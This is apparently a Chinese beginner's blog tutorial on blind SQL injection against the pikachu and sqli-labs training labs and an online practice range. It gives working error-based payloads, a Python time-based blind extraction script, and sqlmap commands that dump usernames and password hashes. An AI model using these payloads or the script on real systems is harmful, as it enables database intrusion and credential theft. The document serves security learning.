提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
哈,我是爱挖洞的萝卜头,从今天开始来csdn分享学习过过程,学习经历,望各位大佬指教指教,嘿嘿嘿。
经历过前面的数字型注入,字符型注入,提交方式注入等,我们对sql注入有了基本的认识,然而在大部分情况下,注入语句是无回显的,无法从浏览器上看到数据库的相关信息,这个时候我们就需要用到相关的报错或盲注进行后续操作。同时为手工注入时,提前预知或了解其SQL语句的大概写法。所谓盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试。
盲注大致可以分为下面三类:
1.bool型:
即真假逻辑判断,常见使用sql函数:
like 'ro%' #判断ro或ro.. .是否成立
regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等
if(条件,5,0) #条件成立返回5反之返回0
sleep(5) #sQI语句延时执行5秒
mid(a,b,c) #从位置b开始,截取a字符串的c位
substr(a,b,c) #从b位置开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8 #判断数据库database ()名的长度
ord=ascii ascii(x)=97 #判断x的asci i码是否等于97
2.报错的盲注:
floor,updatexml,extractvalue
3.时间的盲注:
sleep
这篇文章主要讲一下手工的报错盲注和,脚本化的时间盲注,当然最后会给大家介绍sql注入神器sqlmap,这里指在搞清楚注入原理。
OK,讲到报错盲注这里我们需要借助一些工具和一些漏洞测试平台。我们开启我们的漏洞测试平台pikachu,再打开的burp抓包工具。(相信浏览器与burp的代理大家都会操作)
运用我们上面介绍的updatexml函数,具体写法:
username=wjlbt' or updatexml(1,concat(0x7e,(database())),0) or
'&password=123456&sex=man&phonenum=123456&email=123456&add=123456&submit=submit
database()即获取当前数据库名,database()可以替换成任意SQL语句,以此来爆破表名,列名和相关数据。如果不知道怎么接着写,可以先去学一点数据库的知识
而其他的extracvalue也是一样的操作方法
' or extractvalue(1,concat(0x7e,database())) or
'
floor有点不同
' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e)))
from information_schema.tableslimit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
or '
至于为什么要在前后加上引号,我们来看源码的SQL语句输入
这其实就是用引号来闭合语句,实际操作中可能是 '、''、')、'')等等,多试几次就可以了
其实写这篇文章就是为了展示这段脚本代码,写着写着就加了不少东西进去了
这是在SQLis漏洞平台的less-5中,参考了是阿明啊的SQLis通关。
OK,上代码:
# coding:utf-8
import requests
import datetime
import time
def database_name():
name = ''
for j in range(1,40):#这个写大一点没事
for i in '0123456789abcdefghijklmnopqrstuvwxyz,_D':
url = "http://192.168.101.1/sqli-labs-master/Less-5/"
# 根据网站响应速度选择时间
payload = "?id=1' and sleep(if(substr(database(),%d,1)='%s',2,0)) --+" % (j,i)
# 爆表
# payload="?id=1' and sleep(if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s',2,0)) --+" % (j,i)
# 暴列
# payload = "?id=1' and sleep(if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),%d,1)='%s',2,0)) --+" % (j, i)
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >=2:
name += i
print(name)
break
print('database_name:', name)
if __name__ == '__main__':
database_name()
显示数据库名:
爆表
后面暴列和数据差不多
这里我们使用墨者学院的在线靶场做实验
sqlmap下载安装完成后:
执行python sqlmap.py -u URL --dbs 即获取注入点所有数据库
python sqlmap.py -u "http://124.70.64.48:46228/new_list.php?id=tingjigonggao" --dbs
python sqlmap.py -u URL -D"(获取的数据库名)" --tables 获取当前数据库下所有表
python sqlmap.py -u "http://124.70.64.48:46228/new_list.php?id=tingjigonggao" -D"mozhe_discuz_stormgroup" --tables
python sqlmap.py -u URL -D"(获取的数据库名)" -T"(获取的表名)" --columns 获取列名
python sqlmap.py -u "http://124.70.64.48:46228/new_list.php?id=tingjigonggao" -D"mozhe_discuz_stormgroup" -T"stormgroup_member" --columns
python sqlmap.py -u URL -D"(获取的数据库名)" -T"(获取的表名)" -C"(获取的列名)" --dump 打印数据
python sqlmap.py -u "http://124.70.64.48:46228/new_list.php?id=tingjigonggao" -D"mozhe_discuz_stormgroup" -T"stormgroup_member" -C"name,password" --dump
密码经过MD5加密,网上搜一下解密就OK啦